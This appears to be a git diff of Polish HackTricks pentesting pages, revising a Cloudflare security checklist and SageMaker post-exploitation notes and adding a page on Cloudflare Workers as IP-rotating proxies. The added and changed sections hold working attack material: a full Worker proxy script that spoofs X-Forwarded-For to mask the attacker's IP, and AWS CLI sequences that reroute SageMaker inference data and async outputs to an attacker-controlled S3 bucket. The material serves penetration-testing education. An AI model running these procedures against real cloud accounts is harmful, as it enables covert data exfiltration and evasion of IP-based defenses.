diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index e2c560d2e..485dff44b 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,14 +1,14 @@ -# Cloudflare Security +# Cloudflare — Bezpieczeństwo {{#include ../../banners/hacktricks-training.md}} -W koncie Cloudflare istnieją **ogólne ustawienia i usługi**, które można skonfigurować. Na tej stronie zamierzamy **analizować ustawienia związane z bezpieczeństwem w każdej sekcji:** +W koncie Cloudflare istnieją pewne **ustawienia ogólne i usługi**, które można skonfigurować. Na tej stronie przeanalizujemy **ustawienia związane z bezpieczeństwem w każdej sekcji:**
-## Websites +## Strony internetowe -Przejrzyj każde z: +Przejrzyj każdą za pomocą: {{#ref}} cloudflare-domains.md @@ -16,9 +16,9 @@ cloudflare-domains.md ### Domain Registration -- [ ] W **`Transfer Domains`** sprawdź, czy nie ma możliwości transferu żadnej domeny. +- [ ] W sekcji **`Transfer Domains`** sprawdź, czy nie jest możliwe przeniesienie żadnej domeny. -Przejrzyj każde z: +Przejrzyj każdą za pomocą: {{#ref}} cloudflare-domains.md @@ -26,39 +26,45 @@ cloudflare-domains.md ## Analytics -_Nie mogłem znaleźć nic do sprawdzenia w przeglądzie bezpieczeństwa konfiguracji._ +_Nie znalazłem niczego do sprawdzenia w ramach przeglądu konfiguracji pod kątem bezpieczeństwa._ ## Pages -Na każdej stronie Cloudflare: +W przypadku każdej strony Pages Cloudflare: -- [ ] Sprawdź **wrażliwe informacje** w **`Build log`**. -- [ ] Sprawdź **wrażliwe informacje** w **repozytorium Github** przypisanym do stron. -- [ ] Sprawdź potencjalne naruszenie repozytorium github za pomocą **workflow command injection** lub kompromitacji `pull_request_target`. Więcej informacji na stronie [**Github Security page**](../github-security/). -- [ ] Sprawdź **vulnerable functions** w katalogu `/fuctions` (jeśli istnieje), sprawdź **przekierowania** w pliku `_redirects` (jeśli istnieje) oraz **błędnie skonfigurowane nagłówki** w pliku `_headers` (jeśli istnieje). -- [ ] Sprawdź **vulnerabilities** w **stronie internetowej** za pomocą **blackbox** lub **whitebox**, jeśli możesz **uzyskać dostęp do kodu**. -- [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions`. Sprawdź **wrażliwe informacje** w **`Environment variables`**. -- [ ] W szczegółach strony sprawdź również **komendę budowy** i **katalog główny** pod kątem **potencjalnych wstrzyknięć**, które mogą skompromitować stronę. +- [ ] Sprawdź obecność **poufnych informacji** w **`Build log`**. +- [ ] Sprawdź obecność **poufnych informacji** w przypisanym do Pages repozytorium Github. +- [ ] Sprawdź możliwość kompromitacji repo przez **workflow command injection** lub kompromitację `pull_request_target`. Więcej informacji na [**Github Security page**](../github-security/index.html). +- [ ] Sprawdź, czy w katalogu `/fuctions` (jeśli istnieje) nie ma podatnych funkcji; sprawdź przekierowania w pliku `_redirects` (jeśli istnieje) i niepoprawnie skonfigurowane nagłówki w pliku `_headers` (jeśli istnieje). +- [ ] Sprawdź, czy na stronie nie ma **luk** używając podejścia **blackbox** lub **whitebox**, jeśli masz **dostęp do kodu**. +- [ ] W szczegółach każdej strony `//pages/view/blocklist/settings/functions` sprawdź obecność **poufnych informacji** w **`Environment variables`**. +- [ ] Na stronie szczegółów sprawdź także **build command** i **root directory** pod kątem **potencjalnych injections** mogących skompromitować stronę. ## **Workers** -Na każdym workerze Cloudflare sprawdź: +W przypadku każdego workera Cloudflare sprawdź: -- [ ] Wyzwalacze: Co powoduje wyzwolenie workera? Czy **użytkownik może wysłać dane**, które będą **używane** przez workera? -- [ ] W **`Settings`**, sprawdź **`Variables`** zawierające **wrażliwe informacje**. -- [ ] Sprawdź **kod workera** i poszukaj **vulnerabilities** (szczególnie w miejscach, gdzie użytkownik może zarządzać danymi wejściowymi). -- Sprawdź SSRFs zwracających wskazaną stronę, którą możesz kontrolować. -- Sprawdź XSSy wykonujące JS wewnątrz obrazu svg. -- Możliwe, że worker wchodzi w interakcję z innymi wewnętrznymi usługami. Na przykład, worker może wchodzić w interakcję z bucketem R2 przechowującym informacje uzyskane z danych wejściowych. W takim przypadku konieczne byłoby sprawdzenie, jakie możliwości ma worker nad bucketem R2 i jak można je wykorzystać na podstawie danych wejściowych użytkownika. +- [ ] Wyzwalacze: Co powoduje uruchomienie workera? Czy **użytkownik może wysłać dane**, które będą **wykorzystane** przez workera? +- [ ] W **`Settings`** sprawdź **`Variables`** zawierające **poufne informacje**. +- [ ] Sprawdź **kod workera** i wyszukaj **luki** (zwłaszcza w miejscach, gdzie użytkownik może kontrolować dane wejściowe) +- Sprawdź SSRF-y zwracające wskazaną stronę, którą możesz kontrolować +- Sprawdź XSS-y wykonujące JS wewnątrz obrazka SVG +- Możliwe, że worker komunikuje się z innymi wewnętrznymi usługami. Na przykład worker może operować na bucketcie R2, zapisując w nim informacje pozyskane z danych wejściowych. W takim przypadku konieczne jest sprawdzenie, jakie uprawnienia ma worker względem bucketu R2 i w jaki sposób można je nadużyć za pomocą danych wejściowych użytkownika. > [!WARNING] -> Zauważ, że domyślnie **Worker otrzymuje URL** taki jak `..workers.dev`. Użytkownik może ustawić go na **subdomenę**, ale zawsze możesz uzyskać do niego dostęp za pomocą tego **oryginalnego URL**, jeśli go znasz. +> Zwróć uwagę, że domyślnie **Worker otrzymuje URL** takiego formatu `..workers.dev`. Użytkownik może ustawić subdomenę, ale zawsze możesz uzyskać dostęp do tej **oryginalnej URL**, jeśli ją znasz. + +W praktycznym wykorzystaniu Workers jako pass-through proxy (rotacja IP, FireProx-style), sprawdź: + +{{#ref}} +cloudflare-workers-pass-through-proxy-ip-rotation.md +{{#endref}} ## R2 -Na każdym buckecie R2 sprawdź: +W przypadku każdego bucketu R2 sprawdź: -- [ ] Skonfiguruj **CORS Policy**. +- [ ] Skonfiguruj **politykę CORS**. ## Stream @@ -70,8 +76,8 @@ TODO ## Security Center -- [ ] Jeśli to możliwe, uruchom skanowanie **`Security Insights`** i **`Infrastructure`**, ponieważ podkreślą one interesujące informacje **z punktu widzenia bezpieczeństwa**. -- [ ] Po prostu **sprawdź te informacje** pod kątem błędnych konfiguracji bezpieczeństwa i interesujących informacji. +- [ ] Jeśli to możliwe, uruchom skan **`Security Insights`** oraz skan **`Infrastructure`**, ponieważ podświetlą one interesujące informacje z punktu widzenia bezpieczeństwa. +- [ ] Po prostu **sprawdź te informacje** pod kątem nieprawidłowych konfiguracji bezpieczeństwa i interesujących danych ## Turnstile @@ -86,14 +92,14 @@ cloudflare-zero-trust-network.md ## Bulk Redirects > [!NOTE] -> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują **żadnych operacji zastępowania ciągów** ani wyrażeń regularnych. Możesz jednak skonfigurować parametry przekierowania URL, które wpływają na ich zachowanie w zakresie dopasowywania URL i ich zachowanie w czasie wykonywania. +> W przeciwieństwie do [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) są zasadniczo statyczne — nie obsługują operacji **zamiany ciągów znaków** ani wyrażeń regularnych. Jednak możesz skonfigurować parametry przekierowań URL, które wpływają na zachowanie dopasowywania URL i ich działanie w czasie wykonywania. -- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dla przekierowań **mają sens**. -- [ ] Sprawdź również **wrażliwe ukryte punkty końcowe**, które zawierają interesujące informacje. +- [ ] Sprawdź, czy **wyrażenia** i **wymagania** dotyczące przekierowań **mają sens**. +- [ ] Sprawdź także ukryte **poufne endpointy**, które mogą zawierać interesujące informacje. ## Notifications -- [ ] Sprawdź **powiadomienia**. Te powiadomienia są zalecane dla bezpieczeństwa: +- [ ] Sprawdź **powiadomienia**. Następujące powiadomienia są zalecane pod kątem bezpieczeństwa: - `Usage Based Billing` - `HTTP DDoS Attack Alert` - `Layer 3/4 DDoS Attack Alert` @@ -113,21 +119,21 @@ cloudflare-zero-trust-network.md - `Script Monitor New Script Exceeds Max URL Length Alert` - `Advanced Security Events Alert` - `Security Events Alert` -- [ ] Sprawdź wszystkie **destynacje**, ponieważ mogą zawierać **wrażliwe informacje** (podstawowa autoryzacja http) w adresach URL webhooków. Upewnij się również, że adresy URL webhooków używają **HTTPS**. -- [ ] Jako dodatkowe sprawdzenie, możesz spróbować **podszyć się pod powiadomienie cloudflare** do osoby trzeciej, może w jakiś sposób **wstrzykniesz coś niebezpiecznego**. +- [ ] Sprawdź wszystkie **destinations**, ponieważ w webhook URL-ach mogą znajdować się **poufne informacje** (basic http auth). Upewnij się także, że webhook URL-e używają **HTTPS** +- [ ] Jako dodatkową kontrolę możesz spróbować **podszyć się pod powiadomienie Cloudflare** wysłane do strony trzeciej — być może uda Ci się w ten sposób **wstrzyknąć coś niebezpiecznego** -## Manage Account +## Zarządzanie kontem -- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty kredytowej**, **daty ważności** i **adresu rozliczeniowego** w **`Billing` -> `Payment info`**. -- [ ] Możliwe jest zobaczenie **rodzaju planu** używanego w koncie w **`Billing` -> `Subscriptions`**. -- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **rolę**. Zauważ, że jeśli rodzaj planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Ale jeśli używany **plan to Enterprise**, [**więcej ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) może być używanych w celu przestrzegania zasady najmniejszych uprawnień. -- Dlatego, gdy tylko to możliwe, **zaleca się** korzystanie z **planu Enterprise**. -- [ ] W członkach można sprawdzić, którzy **członkowie** mają **włączoną 2FA**. **Każdy** użytkownik powinien mieć to włączone. +- [ ] Możliwe jest zobaczenie **ostatnich 4 cyfr karty**, daty **ważności** oraz **adresu rozliczeniowego** w **`Billing` -> `Payment info`**. +- [ ] Można zobaczyć **typ planu** używanego na koncie w **`Billing` -> `Subscriptions`**. +- [ ] W **`Members`** można zobaczyć wszystkich członków konta i ich **role**. Zauważ, że jeśli typ planu nie jest Enterprise, istnieją tylko 2 role: Administrator i Super Administrator. Jednak jeśli używany **plan jest Enterprise**, można użyć [**bardziej szczegółowych ról**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/), aby stosować zasadę najmniejszych uprawnień. +- W związku z tym, gdy to możliwe, zalecane jest korzystanie z **planu Enterprise**. +- [ ] W Members można sprawdzić, którzy **członkowie** mają włączone **2FA**. **Każdy** użytkownik powinien mieć to włączone. > [!NOTE] -> Zauważ, że na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może podnieść uprawnień ani zapraszać** nowych członków). +> Na szczęście rola **`Administrator`** nie daje uprawnień do zarządzania członkostwem (**nie może eskalować uprawnień ani zapraszać** nowych członków) -## DDoS Investigation +## Dochodzenie DDoS [Sprawdź tę część](cloudflare-domains.md#cloudflare-ddos-protection). diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md new file mode 100644 index 000000000..17bb1e2bb --- /dev/null +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md @@ -0,0 +1,286 @@ +# Wykorzystywanie Cloudflare Workers jako pass-through proxies (IP rotation, FireProx-style) + +{{#include ../../banners/hacktricks-training.md}} + +Cloudflare Workers mogą być wdrożone jako przezroczyste HTTP pass-through proxies, gdzie upstream target URL jest dostarczany przez klienta. Żądania wychodzą z sieci Cloudflare, więc docelowy serwer widzi Cloudflare IPs zamiast adresu klienta. To odzwierciedla znaną technikę FireProx na AWS API Gateway, lecz wykorzystuje Cloudflare Workers. + +### Key capabilities +- Obsługa wszystkich metod HTTP (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD) +- Target może być dostarczony przez parametr zapytania (?url=...), nagłówek (X-Target-URL), lub nawet zakodowany w ścieżce (np. /https://target) +- Nagłówki i body są przekazywane przez proxy z filtrowaniem hop-by-hop/nagłówków w razie potrzeby +- Odpowiedzi są przekazywane z powrotem, zachowując kod statusu i większość nagłówków +- Opcjonalne podszywanie się pod X-Forwarded-For (jeśli Worker ustawia go z nagłówka kontrolowanego przez użytkownika) +- Bardzo szybka/łatwa rotacja przez wdrażanie wielu endpointów Worker i rozsyłanie żądań + +### How it works (flow) +1) Klient wysyła żądanie HTTP do URL Workera (`..workers.dev` lub trasa na niestandardowej domenie). +2) Worker wyciąga target z parametru zapytania (?url=...), nagłówka X-Target-URL lub segmentu ścieżki jeśli zaimplementowano. +3) Worker przekazuje przychodzącą metodę, nagłówki i body do określonego upstream URL (filtrowanie problematycznych nagłówków). +4) Odpowiedź upstream jest przesyłana strumieniowo z powrotem do klienta przez Cloudflare; origin widzi Cloudflare egress IPs. + +### Worker implementation example +- Odczytuje target URL z parametru zapytania, nagłówka lub ścieżki +- Kopiuje bezpieczny podzbiór nagłówków i przesyła oryginalną metodę/body +- Opcjonalnie ustawia X-Forwarded-For używając nagłówka kontrolowanego przez użytkownika (X-My-X-Forwarded-For) lub losowego IP +- Dodaje permisywne CORS i obsługuje preflight + +
+Przykładowy Worker (JavaScript) do pass-through proxying +```javascript +/** +* Minimal Worker pass-through proxy +* - Target URL from ?url=, X-Target-URL, or /https://... +* - Proxies method/headers/body to upstream; relays response +*/ +addEventListener('fetch', event => { +event.respondWith(handleRequest(event.request)) +}) + +async function handleRequest(request) { +try { +const url = new URL(request.url) +const targetUrl = getTargetUrl(url, request.headers) + +if (!targetUrl) { +return errorJSON('No target URL specified', 400, { +usage: { +query_param: '?url=https://example.com', +header: 'X-Target-URL: https://example.com', +path: '/https://example.com' +} +}) +} + +let target +try { target = new URL(targetUrl) } catch (e) { +return errorJSON('Invalid target URL', 400, { provided: targetUrl }) +} + +// Forward original query params except control ones +const passthru = new URLSearchParams() +for (const [k, v] of url.searchParams) { +if (!['url', '_cb', '_t'].includes(k)) passthru.append(k, v) +} +if (passthru.toString()) target.search = passthru.toString() + +// Build proxied request +const proxyReq = buildProxyRequest(request, target) +const upstream = await fetch(proxyReq) + +return buildProxyResponse(upstream, request.method) +} catch (error) { +return errorJSON('Proxy request failed', 500, { +message: error.message, +timestamp: new Date().toISOString() +}) +} +} + +function getTargetUrl(url, headers) { +let t = url.searchParams.get('url') || headers.get('X-Target-URL') +if (!t && url.pathname !== '/') { +const p = url.pathname.slice(1) +if (p.startsWith('http')) t = p +} +return t +} + +function buildProxyRequest(request, target) { +const h = new Headers() +const allow = [ +'accept','accept-language','accept-encoding','authorization', +'cache-control','content-type','origin','referer','user-agent' +] +for (const [k, v] of request.headers) { +if (allow.includes(k.toLowerCase())) h.set(k, v) +} +h.set('Host', target.hostname) + +// Optional: spoof X-Forwarded-For if provided +const spoof = request.headers.get('X-My-X-Forwarded-For') +h.set('X-Forwarded-For', spoof || randomIP()) + +return new Request(target.toString(), { +method: request.method, +headers: h, +body: ['GET','HEAD'].includes(request.method) ? null : request.body +}) +} + +function buildProxyResponse(resp, method) { +const h = new Headers() +for (const [k, v] of resp.headers) { +if (!['content-encoding','content-length','transfer-encoding'].includes(k.toLowerCase())) { +h.set(k, v) +} +} +// Permissive CORS for tooling convenience +h.set('Access-Control-Allow-Origin', '*') +h.set('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS, PATCH, HEAD') +h.set('Access-Control-Allow-Headers', '*') + +if (method === 'OPTIONS') return new Response(null, { status: 204, headers: h }) +return new Response(resp.body, { status: resp.status, statusText: resp.statusText, headers: h }) +} + +function errorJSON(msg, status=400, extra={}) { +return new Response(JSON.stringify({ error: msg, ...extra }), { +status, headers: { 'Content-Type': 'application/json' } +}) +} + +function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1).join('.') } +``` +
+ +### Automatyzacja wdrażania i rotacji za pomocą FlareProx + +FlareProx to narzędzie Python, które używa Cloudflare API do wdrożenia wielu Worker endpoints i rotowania pomiędzy nimi. Zapewnia to FireProx-like IP rotation z sieci Cloudflare. + +Konfiguracja +1) Utwórz Cloudflare API Token, korzystając z szablonu “Edit Cloudflare Workers”, i pobierz swój Account ID z dashboardu. +2) Skonfiguruj FlareProx: +```bash +git clone https://github.com/MrTurvey/flareprox +cd flareprox +pip install -r requirements.txt +``` +**Utwórz plik konfiguracyjny flareprox.json:** +```json +{ +"cloudflare": { +"api_token": "your_cloudflare_api_token", +"account_id": "your_cloudflare_account_id" +} +} +``` +**Użycie CLI** + +- Utwórz N Worker proxies: +```bash +python3 flareprox.py create --count 2 +``` +- Wymień endpoints: +```bash +python3 flareprox.py list +``` +- Punkty końcowe Health-test: +```bash +python3 flareprox.py test +``` +- Usuń wszystkie endpoints: +```bash +python3 flareprox.py cleanup +``` +**Przekierowywanie ruchu przez Worker** +- Forma parametru zapytania: +```bash +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip" +``` +- Forma nagłówka: +```bash +curl -H "X-Target-URL: https://httpbin.org/ip" https://your-worker.account.workers.dev +``` +- Forma ścieżki (jeśli zaimplementowano): +```bash +curl https://your-worker.account.workers.dev/https://httpbin.org/ip +``` +- Przykłady metod: +```bash +# GET +curl "https://your-worker.account.workers.dev?url=https://httpbin.org/get" + +# POST (form) +curl -X POST -d "username=admin" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/post" + +# PUT (JSON) +curl -X PUT -d '{"username":"admin"}' -H "Content-Type: application/json" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/put" + +# DELETE +curl -X DELETE \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/delete" +``` +**`X-Forwarded-For` kontrola** + +Jeśli Worker honoruje `X-My-X-Forwarded-For`, możesz wpłynąć na wartość `X-Forwarded-For` wysyłaną do upstream: +```bash +curl -H "X-My-X-Forwarded-For: 203.0.113.10" \ +"https://your-worker.account.workers.dev?url=https://httpbin.org/headers" +``` +**Użycie programistyczne** + +Użyj biblioteki FlareProx do tworzenia/listowania/testowania endpoints i kierowania żądań z Pythona. + +
+Przykład w Pythonie: Wyślij POST przez losowy Worker endpoint +```python +#!/usr/bin/env python3 +from flareprox import FlareProx, FlareProxError +import json + +# Initialize +flareprox = FlareProx(config_file="flareprox.json") +if not flareprox.is_configured: +print("FlareProx not configured. Run: python3 flareprox.py config") +exit(1) + +# Ensure endpoints exist +endpoints = flareprox.sync_endpoints() +if not endpoints: +print("Creating proxy endpoints...") +flareprox.create_proxies(count=2) + +# Make a POST request through a random endpoint +try: +post_data = json.dumps({ +"username": "testuser", +"message": "Hello from FlareProx!", +"timestamp": "2025-01-01T12:00:00Z" +}) + +headers = { +"Content-Type": "application/json", +"User-Agent": "FlareProx-Client/1.0" +} + +response = flareprox.redirect_request( +target_url="https://httpbin.org/post", +method="POST", +headers=headers, +data=post_data +) + +if response.status_code == 200: +result = response.json() +print("✓ POST successful via FlareProx") +print(f"Origin IP: {result.get('origin', 'unknown')}") +print(f"Posted data: {result.get('json', {})}") +else: +print(f"Request failed with status: {response.status_code}") + +except FlareProxError as e: +print(f"FlareProx error: {e}") +except Exception as e: +print(f"Request error: {e}") +``` +
+ +**Integracja z Burp/Scanner** +- Skieruj narzędzia (np. Burp Suite) na Worker URL. +- Podaj rzeczywisty upstream używając ?url= lub X-Target-URL. +- Semantyka HTTP (methods/headers/body) jest zachowana, przy jednoczesnym maskowaniu Twojego adresu IP źródłowego za Cloudflare. + +**Uwagi operacyjne i ograniczenia** +- Cloudflare Workers Free plan umożliwia w przybliżeniu 100,000 requests/day na konto; użyj wielu endpointów, aby rozłożyć ruch w razie potrzeby. +- Workers działają w sieci Cloudflare; wiele targets zobaczy tylko Cloudflare IPs/ASN, co może obejść naiwne listy allow/deny oparte na IP lub heurystyki geolokalizacyjne. +- Używaj odpowiedzialnie i tylko za zgodą. Szanuj ToS i robots.txt. + +## Referencje +- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox) +- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/) +- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/) +- [FireProx (AWS API Gateway)](https://github.com/ustayready/fireprox) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md index 9337973dd..d895b65b1 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -4,16 +4,16 @@ ## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig -Nadużyj zarządzania endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego S3 bucketu bez modyfikacji modelu lub kontenera. Wykorzystuje zero/low‑downtime rolling update i wymaga jedynie uprawnień do zarządzania endpointem. +Wykorzystaj zarządzanie endpointami SageMaker, aby włączyć pełne przechwytywanie request/response do kontrolowanego przez atakującego bucketu S3 bez modyfikowania modelu ani kontenera. Wykorzystuje rolling update o zerowym/małym przestoju i wymaga jedynie uprawnień do zarządzania endpointami. -### Wymagania +### Requirements - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` - S3: `s3:CreateBucket` (lub użyj istniejącego bucketu w tym samym koncie) -- Opcjonalnie (jeśli używasz SSE‑KMS): `kms:Encrypt` na wybranym CMK -- Cel: Istniejący InService real‑time endpoint w tym samym koncie/regionie +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: istniejący InService real‑time endpoint w tym samym koncie/regionie -### Kroki -1) Zidentyfikuj endpoint o statusie InService i zbierz aktualne warianty produkcyjne +### Steps +1) Zidentyfikuj endpoint InService i zbierz aktualne warianty produkcyjne ```bash REGION=${REGION:-us-east-1} EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) @@ -22,15 +22,15 @@ CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --q echo "EndpointConfig=$CFG" aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Przygotuj attacker S3 jako miejsce docelowe dla przechwyceń +2) Przygotuj docelowe miejsce attacker S3 dla captures ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-capture-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION ``` -3) Utwórz nowy EndpointConfig, który zachowuje te same variants, ale włącza DataCapture do attacker bucket +3) Utwórz nowy EndpointConfig, który zachowuje te same warianty, ale włącza DataCapture do attacker bucket -Uwaga: Użyj jawnych content types, które spełniają walidację CLI. +Uwaga: Użyj jawnych typów treści, które spełniają walidację CLI. ```bash NEWCFG=${CFG}-dc cat > /tmp/dc.json << JSON @@ -54,37 +54,37 @@ aws sagemaker create-endpoint-config \ --production-variants file:///tmp/pv.json \ --data-capture-config file:///tmp/dc.json ``` -4) Zastosuj nową konfigurację przy użyciu rolling update (minimalne/brak przestojów) +4) Zastosuj nową konfigurację za pomocą rolling update (minimalne/brak przestojów) ```bash aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -5) Wygeneruj co najmniej jedno wywołanie inferencyjne (opcjonalne, jeśli istnieje ruch w czasie rzeczywistym) +5) Wygeneruj co najmniej jedno wywołanie inferencji (opcjonalne, jeśli istnieje ruch na żywo) ```bash echo '{"inputs":[1,2,3]}' > /tmp/payload.json aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ --content-type application/json --accept application/json \ --body fileb:///tmp/payload.json /tmp/out.bin || true ``` -6) Zweryfikuj przechwycone pliki w S3 atakującego +6) Zweryfikuj captures w attacker S3 ```bash aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize ``` -### Impact -- Pełna eksfiltracja ładunków żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket. -- Brak zmian w obrazie modelu/container i jedynie zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę wykradania danych przy minimalnym zakłóceniu operacyjnym. +### Wpływ +- Pełna eksfiltracja danych żądań i odpowiedzi inferencji w czasie rzeczywistym (oraz metadanych) z docelowego endpointu do kontrolowanego przez atakującego S3 bucket. +- Brak zmian w obrazie modelu/kontenera i tylko zmiany na poziomie endpointu, co umożliwia ukrytą ścieżkę kradzieży danych przy minimalnym zakłóceniu operacyjnym. ## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig -Wykorzystaj zarządzanie endpointem do przekierowania asynchronicznych wyników inferencji do kontrolowanego przez atakującego S3 bucketu poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To eksfiltrowanie przewidywań modelu (oraz wszelkich przekształconych wejść dodanych przez container) bez modyfikowania modelu/container. +Wykorzystaj mechanizmy zarządzania endpointem, aby przekierować asynchroniczne wyjścia inferencji do kontrolowanego przez atakującego S3 bucket poprzez sklonowanie bieżącego EndpointConfig i ustawienie AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. To umożliwia eksfiltrację predykcji modelu (oraz dowolnych przekształconych wejść zawartych przez kontener) bez modyfikacji modelu/obrazu kontenera. -### Requirements +### Wymagania - IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` -- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucketu (poprzez rolę wykonawczą modelu lub liberalną politykę bucketu) -- Target: An InService endpoint where asynchronous invocations are (or will be) used +- S3: Możliwość zapisu do kontrolowanego przez atakującego S3 bucket (poprzez rolę wykonawczą modelu lub permisywną politykę bucketu) +- Cel: endpoint w stanie InService, w którym wykorzystywane są (lub będą) wywołania asynchroniczne -### Steps +### Kroki 1) Zbierz bieżące ProductionVariants z docelowego endpointu ```bash REGION=${REGION:-us-east-1} @@ -92,13 +92,13 @@ EP= CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json ``` -2) Utwórz attacker bucket (upewnij się, że model execution role ma uprawnienie PutObject do niego) +2) Utwórz attacker bucket (upewnij się, że model execution role może wykonać PutObject do niego) ```bash ACC=$(aws sts get-caller-identity --query Account --output text) BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) aws s3 mb s3://$BUCKET --region $REGION || true ``` -3) Sklonuj EndpointConfig i przechwyć wyjścia AsyncInference do bucketu atakującego +3) Sklonuj EndpointConfig i hijack AsyncInference outputs do attacker bucket ```bash NEWCFG=${CUR_CFG}-async-exfil cat > /tmp/async_cfg.json << JSON @@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name " aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" ``` -4) Wywołaj async invocation i zweryfikuj, że obiekty trafiają do attacker S3 +4) Wyzwól async invocation i zweryfikuj, że obiekty trafiają do attacker S3 ```bash aws s3 cp /etc/hosts s3://$BUCKET/inp.bin aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true @@ -116,21 +116,21 @@ sleep 30 aws s3 ls s3://$BUCKET/async-out/ --recursive || true aws s3 ls s3://$BUCKET/async-fail/ --recursive || true ``` -### Wpływ -- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do S3 kontrolowanego przez atakującego, umożliwiając covert exfiltration of predictions i potencjalnie wrażliwych pre/post-processed inputs generowanych przez container, bez zmiany model code ani image i przy minimalnym/braku downtime. +### Impact +- Przekierowuje asynchroniczne wyniki inferencji (oraz treści błędów) do kontrolowanego przez atakującego S3, umożliwiając ukrytą eksfiltrację predykcji oraz potencjalnie wrażliwych danych wejściowych przed i po przetworzeniu przez kontener, bez zmiany kodu modelu ani obrazu oraz przy minimalnym lub żadnym czasie przestoju. -## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) +## SageMaker Model Registry — wstrzyknięcie w łańcuch dostaw przez CreateModelPackage(Approved) -Jeśli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na attacker-controlled container image i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli do endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego z uprawnieniami service’s execution roles. Eksponowanie cross-account może być nasilone przez permissive ModelPackageGroup resource policy. +Jeżeli atakujący może wykonać CreateModelPackage na docelowym SageMaker Model Package Group, może zarejestrować nową wersję modelu wskazującą na obraz kontenera kontrolowany przez atakującego i natychmiast oznaczyć ją jako Approved. Wiele CI/CD pipelines automatycznie wdraża Approved wersje modeli na endpoints lub training jobs, co skutkuje wykonaniem kodu atakującego w kontekście ról wykonawczych usługi. Ekspozycja 